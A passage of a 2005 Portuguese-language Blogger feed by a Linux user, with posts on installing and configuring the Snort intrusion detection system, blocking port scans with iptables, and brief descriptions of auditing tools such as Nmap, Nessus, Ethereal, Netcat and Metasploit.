Portsentry'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112429976388106706</id><published>2005-08-17T14:07:00.000-03:00</published><updated>2005-08-17T14:52:33.480-03:00</updated><title type='text'>Instalando e configurando o SNORT</title><content type='html'>&lt;div align="left"&gt;Para escrever esse texto, busquei informações em alguns lugares:&lt;br /&gt;&lt;br /&gt;Viva o Linux&lt;br /&gt;LinuxIT&lt;br /&gt;Snort&lt;br /&gt;Google&lt;br /&gt;&lt;br /&gt;Mãos à obra:&lt;br /&gt;&lt;br /&gt;O Snort é uma das ferramentas mais utilizadas com o intuito de entre outras coisas detectar no momento o acesso não autorizado, vale lembrar que no site [ &lt;a href="http://www.snort.org/"&gt;http://www.snort.org/&lt;/a&gt; ] também tem uma versão desse IDS para plataforma Microsoft.&lt;br /&gt;&lt;br /&gt;Faça o download do snort no site já mencionado para qualquer diretório. O processo de descompactação e instalação é o seguinte:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;# tar zxvf snort.x.x.tar.gz&lt;/em&gt;&lt;/strong&gt; (x.x é a versão)&lt;br /&gt;&lt;br /&gt;Será descompactado e criado um diretório snort.x.x, entre nesse diretório e continue...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;# ./configure -prefix=/usr/local/snort&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;strong&gt;&lt;em&gt;# make&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;strong&gt;&lt;em&gt;# make install&lt;br /&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;O snort será instalado no diretório &lt;strong&gt;/usr/local/snort&lt;/strong&gt;. Agora temos o snort instalado e pronto para ser configurado, para isso vamos precisar fazer mais alguns Passos, são eles: &lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;strong&gt;01.&lt;/strong&gt; Criar o diretório onde será guardado o arquivo de log do snort.&lt;/div&gt;&lt;div align="left"&gt;&lt;strong&gt;02.&lt;/strong&gt; Criar o diretório no /ETC onde ficará o snort.conf e os arquivos rules.&lt;/div&gt;&lt;div align="left"&gt;&lt;strong&gt;03.&lt;/strong&gt; Fazer as copias necessárias do arquivos mencionados.&lt;/div&gt;&lt;div align="left"&gt;&lt;strong&gt;04.&lt;/strong&gt; E a configuração propriamente dita.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ffffff;"&gt;Passo 1&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;# mkdir /var/log/snort&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ffffff;"&gt;Passo 2&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;# mkdir /etc/snort&lt;br /&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ffffff;"&gt;Passo 3&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;# cp /usr/local/snort/*.* /etc/snort # cp /usr/local/snort/rules/*.* /etc/snort&lt;br /&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;&lt;strong&gt;Passo 4&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;strong&gt;# pico /etc/snort/snort.conf&lt;/strong&gt;&lt;/em&gt; (esse é o arquivo de configuração)&lt;br /&gt;&lt;br /&gt;Localize as seguintes linhas no arquivo citado acima:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;# Path to your rules files (this can be a relative path)&lt;/em&gt;&lt;br /&gt;&lt;em&gt;var RULE_PATH ../rules&lt;/em&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Essa linha configura o caminho onde ficarão os arquivos de regras, ela deve ficar conforme abaixo:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;# Path to your rules files (this can be a relative path)&lt;/em&gt;&lt;br /&gt;&lt;em&gt;var RULE_PATH /etc/snort&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;No final do arquivo snort.conf, vocês encontrarão as linhas que ativam/desativam o uso das regras (rules) como no exemplo abaixo. Retire o símbolo de comentário no início de cada linha(#) caso queira ativar a linha.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;#include $RULE_PATH/local.rules&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;#include $RULE_PATH/bad-traffic.rules&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;#include $RULE_PATH/tftp.rules&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Estas linhas são as regras que o Snort utilize para identificar e interpretar os ataques realizados em sua máquina por possíveis invasores, você encontrará regras para identificar ataques de Denial of Service, uso de P2P, uso de Port Scanners, cabe a você escolher quais regras serão mais úteis. Salve e feche o arquivo snort.conf.&lt;br /&gt;Para executar o snort, execute a linha abaixo:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# /usr/local/snort/bin/snort -c /etc/snort/snort.conf -i eth0 &amp;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;A opção –i indica qual a interface que o snort estará "escutando", você pode colocar essa linha no &lt;strong&gt;&lt;em&gt;/etc/rc.local&lt;/em&gt;&lt;/strong&gt; para garantir a inicialização sempre que o servidor for reiniciado. A opção &amp;amp; indica que o serviço será rodado em Background.&lt;br /&gt;Por fim no diretório &lt;strong&gt;&lt;em&gt;/var/log/snort&lt;/em&gt;&lt;/strong&gt; será criado automaticamente o arquivo alert, monitore sempre esse arquivo para verificar possíveis invasões.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Espero ter sido bem claro.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="right"&gt;&lt;strong&gt;&lt;em&gt;Mário Miranda de Magalhães&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112429976388106706?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112429976388106706/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112429976388106706' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112429976388106706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112429976388106706'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/instalando-e-configurando-o-snort_17.html' title='Instalando e configurando o SNORT'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112412148138623031</id><published>2005-08-15T12:10:00.000-03:00</published><updated>2005-08-18T22:28:40.716-03:00</updated><title type='text'>Ferramentas de segurança.</title><content type='html'>Bem, como eu já escrevi sobre scanners e exploits, agora vamos a um ponto bem divertido da segurança de redes. Como impedir que seu sistema seja comprometido.&lt;br /&gt;&lt;br /&gt;Vamos partir do básico sobre segurança. Nenhum sistema é 100% seguro! E há algumas etapas q a maioria dos invasores usam, e são elas:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="FONT-STYLE: italic"&gt;Levantar informações sobre o sistema.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="FONT-STYLE: italic"&gt;Saber quais serviços estão funcionando nos servidores.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="FONT-STYLE: italic"&gt;Em quais portas esses serviços estão funcionando.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="FONT-STYLE: italic"&gt;Quais usuários estão no sistema&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="FONT-STYLE: italic"&gt;E ataque do sistema (DOS, exploits, DDOS e etc).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;A maioria desses passos pode ser conseguida através de um bom scanner (ambos já citados nos 2 textos anteriores). Para barrar o atacante na etapa da tentativa de obetenção de informações sobre a maquina em questão é um ponto crucial para a segurança.&lt;br /&gt;Há algumas formas de se lidar com isso. A mais simples, que é simplesmente barrar a opção de portscanners da máquina. E a outra mais complexa e mais completa, é instalar um NIDS ( Network Intrusion Detection System ).&lt;br /&gt;&lt;br /&gt;Há vantagens nos dois tipos de solução:&lt;br /&gt;&lt;br /&gt;Barrar os portsscanners - Você simplesmente não perminte e nem precisa se preocupar com os portscans.&lt;br /&gt;&lt;br /&gt;NIDS - Você além de enganar o atacante, você ainda obtem um perfil do que ele fez para tentar entrar no seu sistema e assim poder tomar medidas de segurança baseadas nas ações dos atacantes.&lt;br /&gt;&lt;br /&gt;Para acabar com portscanners é bem simples, basta duas entradas no iptables:&lt;br /&gt;&lt;br /&gt;&lt;span class="postbody"&gt;no seu script de firewall acrescente as linhas&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#Alterar policiamento&lt;br /&gt;iptables -P INPUT DROP&lt;br /&gt;iptables -P FORWARD DROP&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como implementar um IDS é uma tarefa mais complicada e sensível, no meu proximo post irei escrever sobre como implementar o SNORT, o IDS mais usado hoje.&lt;br /&gt;&lt;br /&gt;[]'s&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="TEXT-ALIGN: right"&gt;&lt;span class="postbody" style="FONT-WEIGHT: bold; FONT-STYLE: italic"&gt;Mário Miranda de Magalhães&lt;/span&gt;&lt;br /&gt;&lt;span class="postbody"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="postbody"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112412148138623031?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112412148138623031/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112412148138623031' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112412148138623031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112412148138623031'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/ferramentas-de-segurana.html' title='Ferramentas de segurança.'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112388471723141690</id><published>2005-08-12T18:54:00.000-03:00</published><updated>2005-08-18T22:27:24.800-03:00</updated><title type='text'>Tutoriais de ferramentas de rede</title><content type='html'>Eu falei que faria alguns tutoriais sobre algumas das minhas ferramentas de segurança, mas resolvi não fazer, já que achei tutoriais muito bons e em português.&lt;br /&gt;&lt;br /&gt;Todos eles foram tirados de um site que eu já citei aqui, o Viva o Linux.&lt;br /&gt;&lt;br /&gt;Abaixo estão alguns deles:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=1650"&gt;nmap&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=371"&gt;nessus&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=2436"&gt;netcat&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Espero que seja proveitoso.&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;em&gt;&lt;strong&gt;Mário Miranda de Magalhães&lt;/strong&gt;&lt;/em&gt;&lt;/div&gt;&lt;a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=2436"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112388471723141690?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112388471723141690/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112388471723141690' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112388471723141690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112388471723141690'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/tutoriais-de-ferramentas-de-rede.html' title='Tutoriais de ferramentas de rede'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112378952476411539</id><published>2005-08-11T16:16:00.000-03:00</published><updated>2005-08-18T22:25:27.510-03:00</updated><title type='text'>Redes no linux</title><content type='html'>Estou a algum tempo sem escrever aqui. Mas vou compensar o tempo com alguma leitura boa.&lt;br /&gt;&lt;br /&gt;Ultimamente tenho trabalhado na segurança de rede de uma instituição federeal. O que abriu meus horizontes quanto a área ampla de servidores e administração dos mesmos (que sempre foi minha paixão).&lt;br /&gt;&lt;br /&gt;O legal de tudo isso é que eu estou tendo a oportunidade de trabalhar com todos os tipos de sistemas misturados.&lt;br /&gt;&lt;br /&gt;OK. vamos ao que interessa:&lt;br /&gt;&lt;br /&gt;Testar segurança não é uma tarefa muito difícil. Basta ler um pouco, saber inglês e usar as ferramentas corretas.&lt;br /&gt;Digamos que testar a segurança no Microsoft Windows é uma tarefa precária.&lt;br /&gt;&lt;br /&gt;Ter em mente que segurança da informação não é somente corrigir bugs de segurança é muito importante, pois há usuários dependentes do sistema. E eles sim são a parte que se deve tomar cuidado.&lt;br /&gt;&lt;br /&gt;Algumas ferramentas que eu uso para auditoria, testes e correções no quesito que estamos abordando:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.insecure.org/nmap"&gt;Nmap&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.ethereal.com/"&gt;Ethereal&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.nessus.org"&gt;Nessus&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Ping&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://netcat.sourceforge.net/"&gt;NetCat&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;a href="http://www.google.com"&gt;google.com&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Essa listinha é o que eu uso com mais frêquencia, com certeza há outras ferramentas, mas essas são as que eu uso.&lt;br /&gt;Vou colocar aqui uma descrição básica do que cada um faz e quando eu tiver um tempo maior coloca alguns tutoriais de como usar esses programas.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Nmap&lt;/strong&gt; - Um scanner de segurança. Básico, melhor usado em modo texto, mas muito eficiente. Uma cuirosidade sobre ele, é que ele ficou famoso por ter aparecido no filme MATRIX.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Nessus&lt;/strong&gt; - Outro scanner de segurança, mais encorpado, é gráfico. Procura por portas e faz muitas requisições ao mesmo tempo, uma das melhores ferramentas atuais. Te dá graficos detalhados, possiveis problemas de segurança, quais seriam os problemas q eu poderia ter se não resolvesse e como resolve-los.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Ethereal&lt;/strong&gt; - É um network analyser, ou seja, ele monitora tudo que entra e sai da sua placa de rede (também funciona com modems). Um sniffer, pra ser mais exato.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Netcat&lt;/strong&gt; - Programa incluido em quase todas as distribuições linux. Permite gravar dados pela rede utilizando TCP/IP... Leve e poderoso.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Metasploit&lt;/strong&gt; - Programa que possui um bando de dados de exploits. Ele analisa se um host tem vulnerabilidades e o ataca. mostrando logo em seguida um terminal com o controle do host atacado.&lt;br /&gt;&lt;br /&gt;Até uma proxima folga que eu tenha pra escrever aki.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;strong&gt;&lt;em&gt;Mário Miranda de Magalhães&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112378952476411539?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112378952476411539/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112378952476411539' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112378952476411539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112378952476411539'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/redes-no-linux.html' title='Redes no linux'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-111989419879262473</id><published>2005-06-27T14:27:00.000-03:00</published><updated>2005-08-18T22:20:08.436-03:00</updated><title type='text'>Alguns sites úteis.</title><content type='html'>Bem galera, como não sou um dinossauro do OpenSource tive uma ajuda formidável de alguns sites. então vou coloca-los aqui com uma breve descrição do conteúdo deles.&lt;br /&gt;&lt;br /&gt;O site que me ajudou muito com a interface e a configuração do meu Ambiente X foi o &lt;a href="http://www.planetacybertron.cjb.net"&gt;http://www.planetacybertron.cjb.net&lt;/a&gt; : Lá tem de tudo pra deixar sua interface grafica bonitinha: Ex: Gkrellm transparente e com os plugins mais importantes, tutoriais legais sobre alguns players, wine e etc. Vale a pena conferir. Me ajudou bastante.&lt;br /&gt;&lt;br /&gt;Outro que eu também tiro como ponto de referência é o Viva o Linux ( &lt;a href="http://www.vivaolinux.com.br"&gt;http://www.vivaolinux.com.br&lt;/a&gt; ), ele é um verdadeira portal de informações. Quase tudo que você procurar sobre linux lá você vai achar e se não achar você pode perguntar... O site tem uma interface meio complicada, mas com o tempo você se acostuma... Fora um problema de paginação (as buscas no site só apontam 15 resultados). Mas fora isso, o site é muito bom. Muito material importante.&lt;br /&gt;&lt;br /&gt;Com as informações encontradas nesses dois sites acho que já dá um bom material pra quem precisa das coisas mais comuns.&lt;br /&gt;&lt;br /&gt;Fora isso, estou tendo problemas com meu The Gimp. ele tah recusando minha GLIBC... To tentando, quando conseguir eu posto aqui qual foi a solução que eu dei.&lt;br /&gt;&lt;br /&gt;Abraços.&lt;br /&gt;&lt;br /&gt;Mário Miranda&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-111989419879262473?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/111989419879262473/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=111989419879262473' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/111989419879262473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/111989419879262473'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/06/alguns-sites-teis.html' title='Alguns sites úteis.'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-111928417109252506</id><published>2005-06-20T13:08:00.000-03:00</published><updated>2005-06-20T13:16:11.096-03:00</updated><title type='text'>Introdução</title><content type='html'>Nesse Blog aqui, vou colocar algumas das minhas experiências com o mundo OpenSource.&lt;br /&gt;&lt;br /&gt;Bem, Meu nome é Mário Miranda (vulgo d4rk)... Estou a três meses só uso Linux... Isso mesmo, nada de dual boot. Uso Slackware 10.0 o meu X é o XORG... Meu gerenciador é o Enlightenment DR16. Uso Nestcape, amsn, gkrellm, xmms, Eterm, swaret, the gimp... E as stuffs que vêm com o Slackware 10.0&lt;br /&gt;&lt;br /&gt;Depois de muito trabalho para eu conseguir configurar o swaret consegui manter meu Slack atualizado...&lt;br /&gt;Foi outra luta achar a libs pra rodar o enlightenment... Pq tiver q compilar todas, não havia nenhum tgz disponível.&lt;br /&gt;&lt;br /&gt;Mas enfim, hoje em dia só utilizo linux.&lt;br /&gt;&lt;br /&gt;Essa é só uma apresentação... Durante os dias vou postando aqui e mostrando o dia a dia com essa plataforma.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-111928417109252506?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/111928417109252506/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=111928417109252506' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/111928417109252506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/111928417109252506'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/06/introduo.html' title='Introdução'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry></feed>
